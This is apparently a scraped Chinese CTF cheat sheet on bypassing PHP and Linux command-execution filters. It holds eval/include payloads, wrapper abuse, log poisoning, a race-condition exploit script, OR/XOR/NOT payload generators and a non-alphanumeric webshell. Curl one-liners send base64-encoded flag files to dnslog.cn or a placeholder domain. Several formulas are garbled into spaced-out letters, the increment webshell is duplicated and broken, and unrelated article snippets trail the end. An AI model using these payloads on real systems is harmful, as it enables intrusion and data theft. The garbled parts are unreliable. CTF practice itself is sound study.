当前位置: 首页 > news >正文

CTF知识集-命令执行

CTF知识集-命令执行

写在开头可能会用到的提醒

  • ;可以用%0a来替换

  • ``是shell_exec的缩写

  • ls | tee 1 把ls的输出内容存入1这个文件

  • shell查看文件的几种方式,tac | more | less | tail | sort | tac | cat | head | od | expand

  • 针对flag 可以用grep { flag.php来进行查看

  • 遇到文件包含可以用伪协议来读取

  • 遇到输出到黑洞,可以用双写绕过,ls;ls或者ls||ls或者ls%26%26ls,%26是&的url编码

  • <?= 就相当于<?php echo,<?=ls;

  • 日志注入,条件:post的eval,先用ua构造一个一句话访问,日志里存在一句话了;然后用include把日志给包含住

  • 存在eval(post),可以用post去include( G E T [ a ] ) ∣ i n c l u d e " _GET[a]) | include " GET[a])include"_POST[a],a=php伪协议

  • 如果是eval(变量),可以尝试参数逃逸,例:a=?><?=eval($_POST[a])?>

  • 输出可以用print_r var_dump

  • 获取文件包含的所有变量,include包含住文件,var_dump(get_defined_vars()),或者echo $变量

  • 获取页面源代码,搭配eval可以用,echo file_get_contents() | show_source() | highlight_file

  • 文件重命名函数rename(‘文件名’,‘新文件名’),查看当前目录print_r(scandir(‘.’))

  • 利用环境变量来凑出shell命令,例如 P A T H : A {PATH:~A} PATH: A{PWD:~A}

  • linux的shell中两个单引号忽略,例如l’‘s或者l\s或者’l’‘s’,单引号会被忽略

  • linux的shell中,查看文件可以用<代替空格,例如:cat<flag或者cat<>flag

  • linux的/bin目录下都是可以执行二进制文件,例如cat是/bin/cat,在一些题目可能需要用到/bin/cat这种

  • linux的shell的通配符,cat = /bin/ca[a-z]

  • 环境变量截取,在Linux下a=ca;${a}t flag.php 等同于 cat flag.php

  • linux命令另类执行方法,$(printf “ls”) 等同于 $(printf \154\163) 都是执行ls,\154\163为八进制

  • linux的shell如果过滤空格,可以用$IFS | ${IFS} | %09| < | <> | %0b | %0c绕过,%09是tab

  • linux的shell如果过滤空格,可以截取环境,例如执行命令env,会出现一堆命令。Linux命令:name=si bei;${name:2:1} 那么这样子就会出现空格,看图示例

    image-20241212204051162

  • 命令执行的另类方式,在linux的shell中 echo bHMK|base64 -d 这样相当于ls,以此类推,可以构造任意字符。原理 echo ls 这样就相当于ls,echo ls|base64 这样可以把ls给base64,然后 echo bHMK|base64 -d 就相当于先base64解密,变为 echo ls ,就相当于执行了ls

  • 通过DNS通道关键信息传出来,dnslog.cn,例如curl whoami` `.dnslog.cn,那么就会解析为root.dnslog.cn,可以加密payload,例如/?cmd=a=`cat flag.php|base64`;curl ${a:0:10} .dnslog.cn,这样慢慢带出来

  • 通过http通道把消息带出来,例如/?cmd=a= cat flag.php|base64 ;curl your.domin/?a=${a:0:10},然后查看网站日志,把消息带出来

一些栗子

条件竞争

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

payload

上py脚本

import requestsurl = "http://ae1c9002-23cb-4075-abb5-f41d8b00947c.challenge.ctf.show/?c=. /???/????????[@-[]"file = {"c": b"#!/bin/sh\ncat flag.php"
}req = requests.post(url=url, files=file)
print(req.text)

思路

对环境进行强制POST上传,会将上传的东西变为文件,强制临时保存在/tmp/php???目录,???代表随机大小写字母,php代码结束后会自动删除。如果我们在强制上传文件后,执行了系统命令,去执行我们上传的文件,就可以做到命令执行,形成了条件竞争。. 在linux中代表执行,. /???/???[@-[],代表去/tmp下匹配临时文件了,最后面的[@-[]是linux的通配符,匹配a-z,可以在linux下自己试试/bin/ca[a-z] test.txt

简单过滤

if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}

payload

/?c=system("cp fla?.php 1.txt");

思路

利用system函数,把flag文件复制为1.txt

简单过滤

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){eval($c);
}

payload

?c=`cp fla?.??? 1.txt`;

思路

利用``,把flag文件复制为1.txt

参数逃逸

if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}  
}

payload

/?c=eval($_GET[a]);&a=system("cp fla* 1.txt");

思路

参数逃逸,eval嵌套eval,GET一个参数,在新参数里面赋值

复杂过滤

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);
}

payload

/?c=include%0a$_POST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

思路解析

使用include或者require包含文件,空格被过滤使用%0a来换行,分号被过滤无法闭合就使用?> ,后面接前面设置的参数,使用Php伪协议,
php://filter/convert.base64-encode/resource=文件名

文件包含

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){include($c);echo $flag;}

payload

?c=data://text/plain,<?php   system("cp fla?.php 1.txt");  ?>

思路

伪协议filter用不了,用data,执行函数

文件包含(短连接)

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;
}

payload

/?c=data://text/plain,<?=system("cp fla*.* 1.txt");  ?>

思路

把<?php 换成<?=

命令执行,复杂

if(isset($_GET[‘c’])){

$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'||\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);
}

payload

get ?c=eval(array_pop(next(get_defined_vars())));
post a=system(tac flag.php);

思路

  • 先print_r(get_defined_vars()); post传入a=要执行的函数
  • next(print_r(get_defined_vars())); next () 函数将内部指针指向数组中的下一个元素,并输出
  • arrar_pop(next(print_r(get_defined_vars()))); 把数组中的值打印出来
  • 然后eval(arrar_pop(next(print_r(get_defined_vars())))) post传入要执行的函数

eval扫目录脚本

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
#记得url编码
#在eval点进行传入

命令执行,或 异或 取反 自增脚本

例题

<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){die('hacker');
}
eval($code);

或运算生成脚本

如何使用

将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件],然后python [你的Py文件]

脚本

<?php
/* php脚本*/
/* author yu22x */$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*py脚本*-# author yu22ximport requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("or_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="("+s1+"|"+s2+")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

异或运算生成脚本

如何使用

将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件],然后python [你的Py文件]

脚本

<?php/*author yu22x*/
/*php脚本*/$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*-这是Py脚本*-# author yu22ximport requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="("+s1+"^"+s2+")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

取反运算生成脚本

如何使用

将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件]

脚本

<?phpfwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

自增运算脚本

如何使用

该方法在.0.12以上版本不可使用
构造出的语句为: assert($*POST[*]); 使用: *=php函数 ; 例如* =phpinfo();

脚本

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);__='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

相关文章:

CTF知识集-命令执行

CTF知识集-命令执行 写在开头可能会用到的提醒 ;可以用%0a来替换 是shell_exec的缩写 ls | tee 1 把ls的输出内容存入1这个文件 shell查看文件的几种方式&#xff0c;tac | more | less | tail | sort | tac | cat | head | od | expand 针对flag 可以用grep { flag.php来…...

基于米尔全志T527开发板的OpenCV进行手势识别方案

本文将介绍基于米尔电子MYD-LT527开发板&#xff08;米尔基于全志T527开发板&#xff09;的OpenCV手势识别方案测试。 摘自优秀创作者-小火苗 米尔基于全志T527开发板 一、软件环境安装 1.安装OpenCV sudo apt-get install libopencv-dev python3-opencv 2.安装pip sudo apt…...

Htpp中web通讯发送post(上传文件)、get请求

一、正常发送post请求 1、引入pom文件 <dependency><groupId>org.apache.httpcomponents</groupId><artifactId>httpclient</artifactId><version>4.5</version></dependency>2、这个是发送至正常的post、get请求 import org…...

【论文阅读笔记】HunyuanVideo: A Systematic Framework For Large Video Generative Models

HunyuanVideo: A Systematic Framework For Large Video Generative Models 前言引言Overview数据预处理数据过滤数据注释 模型架构设计3D Variational Auto-encoder Designtraininginference 统一的图像和视频生成架构Text encoderModel ScalingImage model scaling lawvideo …...

SpringBoot的事务钩子函数

如果需要在A方法执行完成之后做一个不影响主方法运行的动作B&#xff0c;我们需要判断这个A方法是否存在事务&#xff0c;并且使用异步执行动作B&#xff1b; import org.springframework.transaction.support.TransactionSynchronization; import org.springframework.transa…...

源码安装PHP-7.2.19

源码安装PHP-7.2.19 1.解压 tar -xjvf php-7.2.19.tar.bz2.编译 -prefix安装路径 cd php-7.2.19 ./configure --prefix/home/work/study 成功输出 3.make(构建) makemake testmake installlinux对php操作的一些命令 # 进入到php [rootvdb1 study]# cd php/ [rootvdb1 st…...

UE5制作伤害浮动数字

效果演示&#xff1a; 首先创建一个控件UI 添加画布和文本 文本设置样式 添加伤害浮动动画&#xff0c;根据自己喜好调整&#xff0c;我设置了缩放和不透明度 添加绑定 转到事件图表&#xff0c;事件构造设置动画 创建actor蓝图类 添加widget 获取位置 设置位移 创建一个被击中…...

学习日志024--opencv中处理轮廓的函数

目录 前言​​​​​​​ 一、 梯度处理的sobel算子函数 功能 参数 返回值 代码演示 二、梯度处理拉普拉斯算子 功能 参数 返回值 代码演示 三、Canny算子 功能 参数 返回值 代码演示 四、findContours函数与drawContours函数 功能 参数 返回值 代码演示 …...

(2024年最新)Linux(Ubuntu) 中配置静态IP(包含解决每次重启后配置文件失效问题)

Hello! 亲爱的小伙伴们&#xff0c;大家好呀&#xff08;Smile~&#xff09;&#xff01;我是Huazzi&#xff0c;欢迎观看本篇博客&#xff0c;接下来让我们一起来学习一下Ubuntu 中如何配置静态IP吧&#xff01;祝你有所收获&#xff01; 提前对Linux有所了解的小伙伴应该知道…...

DPDK用户态协议栈-TCP Posix API 2

tcp posix api send发送 ssize_t nsend(int sockfd, const void *buf, size_t len, __attribute__((unused))int flags) {ssize_t length 0;void* hostinfo get_host_fromfd(sockfd);if (hostinfo NULL) {return -1;}struct ln_tcp_stream* stream (struct ln_tcp_stream…...

[IT项目管理]项目时间管理(本章节3w字爆肝)

七.项目时间管理 7.1 项目进度的重要性 为什么要重视项目进度&#xff1a;在项目进行的过程之中会遇到变故。但是不论项目中发生了什么&#xff0c;时间总是在流逝&#xff0c;就可能会导致项目不可以在规定的时间完成。 7.2可能影响项目进度的因素 有员工离职个人的工作方…...

【python因果库实战5】使用银行营销数据集研究营销决策的效果5

目录 接触次数的效应 重新定义治疗变量和潜在混杂因素 更深入地审视干预情景 逆概率加权 标准化 总结及与非因果分析的比较 接触次数的效应 我们现在转而研究当前营销活动中接触次数的数量&#xff08;campaign&#xff09;对积极结果发生率的影响。具体来说&#xff0c;…...

【Qt】QWidget中的常见属性及其功能(二)

目录 六、windowOpacity 例子&#xff1a; 七、cursor 例子&#xff1a; 八、font 九、toolTip 例子&#xff1a; 十、focusPolicy 例子&#xff1a; 十一、styleSheet 计算机中的颜色表示 例子&#xff1a; 六、windowOpacity opacity是不透明度的意思。 用于设…...

9 OOM和JVM退出。OOM后JVM一定会退出吗?

首先我们把两个概念讲清楚 OOM是线程在申请堆内存&#xff0c;发现堆内存空间不足时候抛出的异常。 JVM退出的条件如下&#xff1a; java虚拟机在没有守护线程的时候会退出。守护线程是启动JVM的线程&#xff0c;服务于用户线程。 我们简单说下守护线程的功能: 1.日志的记录…...

学习笔记070——Java中【泛型】和【枚举】

文章目录 1、泛型1.1、为什么要使用泛型&#xff1f;1.2、泛型的应用1.3、泛型通配符1.4、泛型上限和下限1.5、泛型接口 2、枚举 1、泛型 Generics 是指在定义类的时候不指定类中某个信息&#xff08;属性/方法返回值&#xff09;的具体数据类型&#xff0c;而是用一个标识符来…...

【工具变量】碳排放市场交易数据(2013-2023年)

一、时间范围&#xff1a;2013年8月5日到2023年1月13日 二、具体指标&#xff1a; 交易日期 城市名称 交易品种 开盘价 最高价 最低价 成交均价 收盘价 前收盘价 涨跌幅 总成交量 总成交额 …...

【视频生成模型】——Hunyuan-video 论文及代码讲解和实操

&#x1f52e;混元文生视频官网 | &#x1f31f;Github代码仓库 | &#x1f3ac; Demo 体验 | &#x1f4dd;技术报告 | &#x1f60d;Hugging Face 文章目录 论文详解基础介绍数据预处理 &#xff08;Data Pre-processing&#xff09;数据过滤 (Data Filtering)数据标注 (Data…...

基线检查:Windows安全基线.【手动 || 自动】

基线定义 基线通常指配置和管理系统的详细描述&#xff0c;或者说是最低的安全要求&#xff0c;它包括服务和应用程序设置、操作系统组件的配置、权限和权利分配、管理规则等。 基线检查内容 主要包括账号配置安全、口令配置安全、授权配置、日志配置、IP通信配置等方面内容&…...

uniapp跨端适配—条件编译

在uniapp中&#xff0c;跨端适配是通过条件编译实现的。条件编译允许开发者根据不同的平台&#xff08;如iOS、Android、微信小程序、百度小程序等&#xff09;编写不同的代码。这样可以确保每个平台上的应用都能得到最优的性能和用户体验。 以下是uniapp中条件编译的基本语法…...

【Java基础面试题013】Java中静态方法和实例方法的区别是是么?

回答重点 静态方法 使用static关键字修修饰的方法属于类随着类的加载而加载&#xff0c;随着类的卸载而消失可以通过类名直接调用&#xff0c;也可以通过对象调用&#xff0c;但是这种方式不推荐&#xff0c;会混淆意义&#xff0c;也不利于后期维护与扩展 class Example {st…...

Xshell远程连接Kali(默认 | 私钥)Note版

前言:xshell远程连接&#xff0c;私钥连接和常规默认连接 任务一 开启ssh服务 service ssh status //查看ssh服务状态 service ssh start //开启ssh服务 update-rc.d ssh enable //开启自启动ssh服务 任务二 修改配置文件 vi /etc/ssh/ssh_config //第一…...

相机Camera日志实例分析之二:相机Camx【专业模式开启直方图拍照】单帧流程日志详解

【关注我&#xff0c;后续持续新增专题博文&#xff0c;谢谢&#xff01;&#xff01;&#xff01;】 上一篇我们讲了&#xff1a; 这一篇我们开始讲&#xff1a; 目录 一、场景操作步骤 二、日志基础关键字分级如下 三、场景日志如下&#xff1a; 一、场景操作步骤 操作步…...

多模态商品数据接口:融合图像、语音与文字的下一代商品详情体验

一、多模态商品数据接口的技术架构 &#xff08;一&#xff09;多模态数据融合引擎 跨模态语义对齐 通过Transformer架构实现图像、语音、文字的语义关联。例如&#xff0c;当用户上传一张“蓝色连衣裙”的图片时&#xff0c;接口可自动提取图像中的颜色&#xff08;RGB值&…...

【Web 进阶篇】优雅的接口设计:统一响应、全局异常处理与参数校验

系列回顾&#xff1a; 在上一篇中&#xff0c;我们成功地为应用集成了数据库&#xff0c;并使用 Spring Data JPA 实现了基本的 CRUD API。我们的应用现在能“记忆”数据了&#xff01;但是&#xff0c;如果你仔细审视那些 API&#xff0c;会发现它们还很“粗糙”&#xff1a;有…...

什么?连接服务器也能可视化显示界面?:基于X11 Forwarding + CentOS + MobaXterm实战指南

文章目录 什么是X11?环境准备实战步骤1️⃣ 服务器端配置(CentOS)2️⃣ 客户端配置(MobaXterm)3️⃣ 验证X11 Forwarding4️⃣ 运行自定义GUI程序(Python示例)5️⃣ 成功效果![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/55aefaea8a9f477e86d065227851fe3d.pn…...

中医有效性探讨

文章目录 西医是如何发展到以生物化学为药理基础的现代医学&#xff1f;传统医学奠基期&#xff08;远古 - 17 世纪&#xff09;近代医学转型期&#xff08;17 世纪 - 19 世纪末&#xff09;​现代医学成熟期&#xff08;20世纪至今&#xff09; 中医的源远流长和一脉相承远古至…...

安宝特方案丨船舶智造的“AR+AI+作业标准化管理解决方案”(装配)

船舶制造装配管理现状&#xff1a;装配工作依赖人工经验&#xff0c;装配工人凭借长期实践积累的操作技巧完成零部件组装。企业通常制定了装配作业指导书&#xff0c;但在实际执行中&#xff0c;工人对指导书的理解和遵循程度参差不齐。 船舶装配过程中的挑战与需求 挑战 (1…...

Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析

Java求职者面试指南&#xff1a;Spring、Spring Boot、MyBatis框架与计算机基础问题解析 一、第一轮提问&#xff08;基础概念问题&#xff09; 1. 请解释Spring框架的核心容器是什么&#xff1f;它在Spring中起到什么作用&#xff1f; Spring框架的核心容器是IoC容器&#…...

七、数据库的完整性

七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...

Caliper 负载(Workload)详细解析

Caliper 负载(Workload)详细解析 负载(Workload)是 Caliper 性能测试的核心部分,它定义了测试期间要执行的具体合约调用行为和交易模式。下面我将全面深入地讲解负载的各个方面。 一、负载模块基本结构 一个典型的负载模块(如 workload.js)包含以下基本结构: use strict;/…...